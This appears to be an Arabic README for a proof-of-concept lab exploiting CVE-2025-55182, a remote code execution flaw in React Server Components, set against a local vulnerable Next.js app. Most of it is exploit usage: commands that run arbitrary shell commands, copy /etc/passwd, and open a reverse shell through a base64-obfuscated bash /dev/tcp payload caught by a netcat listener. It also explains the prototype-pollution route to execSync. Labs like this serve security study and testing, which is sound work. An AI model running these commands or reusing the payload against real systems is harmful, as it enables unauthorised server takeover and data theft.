
CVE-2025-55182 مختبر React2Shell لإثبات المفهوم
مختبر شامل لعرض واختبار الثغرة الحرجة CVE-2025-55182 في مكوّنات React Server.
هذا المستودع مخصّص لـ:
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. الوصول غير المصرح به غير قانوني.
✅ تنفيذ أوامر عشوائية دون مصادقة
✅ قراءة ملفات النظام
✅ إنشاء الملفات وتعديلها
✅ إنشاء اتصالات شل عكسية (Reverse Shell)
✅ تحقيق سيطرة كاملة على الخادم
npm install --legacy-peer-deps
npm run dev
سيبدأ الخادم على http://localhost:3000
bash check-cve.sh
cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"
# Terminal 1 - Listener
nc -lvnp 4444
# Terminal 2 - Exploit
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"
├── app/ # Vulnerable Next.js application
├── exploit/ # Working PoC exploit
│ └── rce_final.py # Main exploit script
├── check-cve.sh # Automated vulnerability checker
├── package.json # Vulnerable dependencies
└── README.md
توجد الثغرة في منطق إلغاء التسلسل لحمولات مكوّنات React Server. يستغل الاستغلال تلوّث النموذج الأولي (Prototype Pollution) لتنفيذ أكواد عشوائية عبر process.mainModule.require('child_process').execSync().
هذا الكود مقدَّم لأغراض تعليمية واختبار أمني مصرح به فقط. يتحمّل المستخدمون مسؤولية ضمان حصولهم على التصريح المناسب قبل اختبار أي أنظمة. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قوانين مثل قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) والتشريعات المماثلة في الولايات القضائية الأخرى.
لا يتحمّل المؤلف أي مسؤولية عن إساءة استخدام هذه المعلومات.
بعد العمل في هذا المختبر، ستفهم: